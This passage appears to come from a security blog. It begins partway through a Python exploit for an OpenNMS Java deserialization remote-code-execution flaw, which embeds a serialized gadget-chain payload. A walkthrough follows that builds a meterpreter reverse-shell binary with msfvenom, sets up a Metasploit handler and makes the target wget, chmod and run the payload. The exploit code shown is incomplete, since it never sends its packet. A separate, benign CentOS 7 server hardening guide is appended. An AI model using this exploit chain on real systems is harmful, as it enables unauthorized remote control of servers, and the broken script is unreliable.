\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x70\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x24\x73\x71\x00\x7e\x00\x1c\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x21\x73\x71\x00\x7e\x00\x1c\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74'
  blob_footer = '\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f'
  return blob_header + '\x00' + chr(len(cmd)) + cmd + blob_footer

def exploit(cmd, host):
  blob_prologue = '\x4a\x52\x4d\x49\x00\x02\x4b'
  packet = build(cmd)

  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.connect((host, 1099))

def main():
  print('OpenNMS Java Object Unserialization RCE implemented by pancho')

  if len(sys.argv) != 3:
    print('usage: python3 ' + sys.argv[0] + ' host cmd')

  host = sys.argv[1]
  cmd = sys.argv[2]

  packet = build(cmd)
  exploit(cmd, host)

if __name__ == "__main__":

Before we go ahead and run the exploit there are a few things we need to setup.

Setting the Stage

We will go ahead and use msf_venom to create the payload, type the following and make sure msf_venom is in your path. If it isn’t, then do the following first.

cd /usr/share/metasploit-framework

Okay, let’s go ahead and create the payload for our vulnerable Linux system.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > payload

Once ran, you should have some output from venom telling you it’s saved the payload with no errors as per below.


Cool! That’s your payload created, now we need to create a handler for your shiny new payload.

Let’s fire up Metasploit, remember to start the database first.

service postgresql start




Once you’re at the MSF console we need to load the handler

use exploit/multi/handler

Now let’s tell it what payload we want to use.

set PAYLOAD linux/x86/meterpreter/reverse_tcp

We now need to set some parameters for the payload handler such as the IP and Port. This will be the same IP and Port that you used when you created your payload with MSF_Venom.

show options


Let’s set the LHOST and LPORT parameters to those that we used in the MSF_Venom Payload.

set LPORT 8081

Double check that the settings have been set with the command..

show options


Ok, they’re set, let’s run the handler.




  • We have created our Payload to send to the vulnerable system
  • We have created a handler for the payload to connect to

Now we need to send our payload to the vulnerable system via the exploit we downloaded earlier in the article.

Exploiting the System

Fire up another terminal and leave the handler in the previous session running.

Navigate to the directory where you created your payload and fire up a simple HTTP server with the help of python

python -m SimpleHTTPServer 80


You now have functional HTTP server running, we’re now going to use the exploit script to send commands to the vulnerable server, we will grab our payload file, change it’s permissions and then execute it all via the exploit python code.

Launch a new terminal window and navigate to the directory where you stored your exploit code and issue the following command to grab the payload file.

Please Note: Your python file will be named differently
python opennms.py IP_OF_OpenNMS 'wget http://yourlocalIP/yourpayload'

In your SimpleHTTPServer window, you should see a GET request with the status ‘200’

"GET / HTTP/1.1" 200 -

This means the vulnerable server has executed our wget command and grabbed the file from us.

Let’s make it executable (We’re working blind here as there is no output from the server via the exploit code)

python opennms.py IP_OF_OpenNMS 'chmod +x'

Then execute and hope for the best 🙂

python opennms.py IP_OF_OpenNMS './payload'

Let’s have a look at the terminal session where our handler has been waiting. If the job was successful then you should be greeted with a meterpreter session.


Now it’s up to you where you go from here depending on the context of the user you are.

I hope this helped some of you. If you have any tips/tricks on easier/quicker methods or anything you would do differently please get in touch or comment below.




CentOS 7 Server Hardening Guide

So… you’ve just setup a shiny new server and you want to take measures to keep the bad guys out? Well, here I will give you a few tips on how to do just that.

This guide was written with CentOS 7.1 in mind but other up-to-date variants such as Fedora and RHEL should be pretty similar if not the same.

Hardening SSH (Secure Shell)


Most of you will be using this protocol as a means to remotely administrate your Linux server and your right to. Using SSH is by far the best method to administer your server due to its use of encrypted communications unlike it’s older cousins rlogin and telnet which provide no secure methods of communication.

Create a standard user

Use the ‘useradd’ command to add a username of your choice.

useradd YOURUSER

Set a password for your newly created user.


Add your user to the WHEEL group to enable that user to use the sudo command.

usermod -aG wheel YOURUSER

Create an authentication key


This method of authenticating with your server is much more secure that using a standard password, part of this process will require you to create the key on your local machine which you will be connecting from.

You will be asked if you would like to protect the key with a password, I advise you to do this but it’s not mandatory.

Creating the key on Mac/Linux

ssh-keygen -b 4096

Press Enter to use the default names id_rsa and id_rsa.pub in /home/your_username/.ssh before entering your passphrase.

Upload your public key to your server

For Linux


For Mac

On your server do.

sudo mkdir -p ~/.ssh && sudo chmod -R 700 ~/.ssh

From your Mac do the following making sure to substitute ‘youruser’ and ‘yourserver’.

scp ~/.ssh/id_rsa.pub YOURUSER@YOURSERVER.0:~/.ssh/authorized_keys

Now on to the configuration changes.

Open up the SSH config file for editing

In this section we will be performing the following actions

  • Disallowing root logins
  • Setting allowed users
  • Changing the default port
  • Disabling password authentication
  • Force protocol 2

You can replace nano with your favourite text editor such as vi.

sudo nano /etc/ssh/sshd_config

Disallow root logins.

Find the line that says

#PermitRootLogin yes

and change it to

PermitRootLogin no

Setting your user as an allowed user.

Add the following line to the bottom of your sshd_config file substituting ‘YOURUSER’ with your newly created account.


Change the default service port.

Find the line that says

Port 22

Change to something other than 22 such as 22000

Port 22000

Disabling password authentication

We can disable password authentication because we will now be using our newly created key pair to authenticate to the server.

Look for the line that has

#PasswordAuthentication yes

and replace it with the below line.

PasswordAuthentication no

Only use SSH protocol 2

SSH Protocol 1 is generally considered obsolete as it’s vulnerable and old so lets go ahead and only use SSH Protocol 2. Protocol 2 should be enforced by default but it’s worth checking.

Look for the line that says.

#Protocol 2

Uncomment the line so it looks like this.

Protocol 2

There are many more options that we could set but this should be suffice in securing your SSH Service.

Save the file and restart the SSH service by doing the following.

sudo systemctl reload sshd.service

You should now be able to login on your chosen port with your authorised keys by connecting like this.



Fail2ban is a handy tool/service that monitors system log files to detect potential intrusion attempts and places bans using a variety of methods.

To install on CentOS we need to enable the EPEL repository by doing the following.

sudo yum install epel-release

Once the installation has completed we need to then go ahead and install Fail2ban

sudo yum install fail2ban fail2ban-systemd

Fail to ban comes with a wealth of options that would deserve a post all to itself so in this instance we will create a basic configuration file that will help secure your server, especially the SSH service.

Using SELinux? Then you will want to update your policy by doing the following.

yum update -y selinux-policy*


We will be configuring fail2ban for use with Firewalld as it is implemented by default in CentOS 7.

Create a sshd.local file ready for editing.

sudo nano /etc/fail2ban/jail.d/sshd.local

Add the following lines.

enabled = true
port = 22000
logpath = %(sshd_log)s
maxretry = 3
bantime = 86400

Save the file and go ahead and start fail2ban.

sudo systemctl enable fail2ban
sudo systemctl start fail2ban

You should now have a working fail2ban installation which will automatically ban IP addresses after 3 failed attempts at logging in to your system via SSH.

Apache Hardening

The default Apache configuration just works but there’s a few tweaks we can do here and there that makes the bad guys job a little harder. One of the things we can do is try and prevent information leakage.

By default Apache gives out server version information on error pages. We can prevent this by adding a couple of lines to our httpd.conf file.

Version banner

Open up the httpd config file ready for editing.

sudo nano /etc/httpd/conf/httpd.conf

add the following lines to the bottom of the file

ServerTokens Prod
ServerSignature Off


Trace Requests

To protect yourself from Cross Site Tracing attacks append the following line to the end of your configuration file.

TraceEnable off

Set the HttpOnly and Secure flag

To mitigate against most of the common Cross Site Scripting (XSS) attacks you can set the following directive, again add the following line at the end of your configuration file.

Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure

X-Frame Options

Adding this option to your configuration file will indicate whether or not a browser should be allowed to open a webpage in a frame or iframe. This will prevent site content embedded into other sites. See – https://www.owasp.org/index.php/Clickjacking.

Append the following line in your configuration file.

Header always append X-Frame-Options SAMEORIGIN

XSS Protection Again

To ensure and enforce web browser Cross Site Scripting protection append the following to your configuration file.

Header set X-XSS-Protection “1; mode=block”

Now with those options set we need to restart the Apache daemon.

sudo systemctl reload httpd.service


Now to keep tabs on all of those logs, Logwatch is a great tool to monitor your servers logs and email the administrator a digest on a daily basis.


sudo yum install logwatch sendmail

Now start sendmail.

sudo systemctl start sendmail


The default configuration file for Logwatch is located at the below path.


This file contains information on which directories for Logwatch to track, how the digest is sent and where the digest is sent to.

By default Logwatch keeps track of everything in /var/log but if you have other log files that you wish to add you can do this by adding the below to your logwatch.conf under the heading ‘Default Log Directory’.

LogDir = /some/path/to/your/logs

Email your daily digest

let’s go ahead and edit the logwatch.conf file.

sudo nano /usr/share/logwatch/default.conf/logwatch.conf

We need to change add your email into the configuration file so that the digest gets delivered to your inbox.

Look for the following section.

# Default person to mail reports to.  Can be a local account or a
# complete email address.  Variable Output should be set to mail, or
# --output mail should be passed on command line to enable mail feature.
MailTo = root

change ‘root’ to your own personal email address or wherever you want the digest sending to.

Adding Logwatch to Cron

Open up the crontab.

crontab -e

Now add the following line to the end of the file. This line will make logwatch run at midnight each day.

00 00  * * *          /usr/sbin/logwatch

This guide was a little quick and dirty so you have any additions to this guide I would love to hear them, also if you think something is wrong or could have been done more efficiently please get in contact.